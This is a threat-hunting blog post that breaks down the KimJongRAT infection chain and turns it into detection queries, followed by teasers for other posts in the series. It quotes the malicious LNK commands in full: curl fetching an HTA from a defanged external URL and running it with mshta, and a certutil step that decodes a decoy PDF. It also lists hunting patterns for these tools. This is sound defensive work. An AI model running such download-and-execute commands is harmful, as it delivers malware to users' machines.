169. Regular Stealer - Lots of Detection and Hunting Opportunities

Hello everyone!

We can get threat hunting and detection ideas not only from advanced threats, but also from commodity malware. Let's look at KimJongRAT infection chain described by Unit42.

Here we're dealing with malicious LNK-files ome more time. The file executes the following command:

"C:\Windows\System32\cmd.exe" /c cd /d C:\Users\<USER>\AppData\Local\Temp && curl -O https://cdn[.]glitch[.]global/2eefa6a0-44ff-4979-9a9c-689be652996d/sfmw.hta?v=2 && mshta C:\Users\<USER>\AppData\Local\Temp\sfmw.hta

Once again we see cURL abused to download a malicious file, this time an HTA, and mshta.exe to execute it.

So, the first hunting idea is to look for cURL downloading HTA files:

event_type: "processcreatewin"

AND

proc_file_name: "curl.exe"

AND

cmdline: "hta"

Next thing - mshta.exe and suspicious folders:

event_type: "processcreatewin"

AND

proc_file_name: "mshta.exe"

AND

cmdline: "local\\temp"

Another interesting behaviour - abusing certutil.exe to decode decoy PDF:

"C:\Windows\System32\cmd.exe" /c cd /d C:\Users\<USER>\AppData\Local\Temp && findstr /b "JVBERi0xLj" "C:\Users\<USER>\Desktop\sfmw.hta">1.log && certutil -decode -f 1.log [redacted].pdf && del 1.log && [redacted].pdf

We can also use it for hunting or even detection:

event_type: "processcreatewin"

AND

proc_file_name: "certutil.exe"

AND

cmdline: ("decode" AND "pdf")

Check the report, you can find even more opportunities!

See you tomorrow!

Comments

Post a Comment

Popular posts from this blog

033. Free Google Threat Intelligence Course

Image
Hello everyone! Everybody loves free courses, right? Have you missed a free course on Google Threat Intelligence ? If the answer is "Yes", it's your chance to check it!  I like this course as it not only overviews the capabilities of Google Threat Intelligence as a product, but also covers various threat intelligence use cases, for example, how to empower incident response and forensic investigations or how to use it for adversary hunting and tracking. I've already got my completion badge: What about you? See you tomorrow!
Read more

082. Huniting for Malicious Browser Extensions

Image
Hello everyone! Malicious browser extensions are stopping to be an exotic threat. For example,  Rilide . It was first reported in April 2023, but became a common threat, and this report is another proof of it. Can we hunt for such extensions? Of course, yes! For example, usually threats like Rilide modify browser-reated LNK files to run it with " --load-extension " argument, like this: chrome.exe --load-extension="C:\Users\user\AppData\Local\Temp\MalExt" It means we can hunt for execution of common Chromium-based browsers with this argument: event_type: "processcreatewin" AND proc_file_name: ("chrome.exe" OR "brave.exe" OR "opera.exe" OR "msedge.exe")  AND cmdline: "load-extension" I'm sure you'll get false positives, but this is what we expect from threat hunting, right? Proper filtering will help you, I'm sure! See you tomorrow!
Read more

001. The Zeltser Challenge

Image
Hello everyone! Happy New Year! New year - new challenges! So, a few weeks ago David Cowen reminded me about the Zeltser challenge. What's the point? You must blog every day for a year to push yourself to research and write. Sound cool, right? Dave suggested to start the challenge with him on 1/1/25, and that's why you are reading this post! So, what am I going to share here? I'm a big fan of intelligence-led approach to cyber defense, so every day we'll look at this or that technique (or sub-technique) leveraged by real adversaries, so we can learn more about our enemies.  We'll look both at public reporting and private findings by BI.ZONE Threat Intelligence team. Stay tuned, and see you tomorrow!
Read more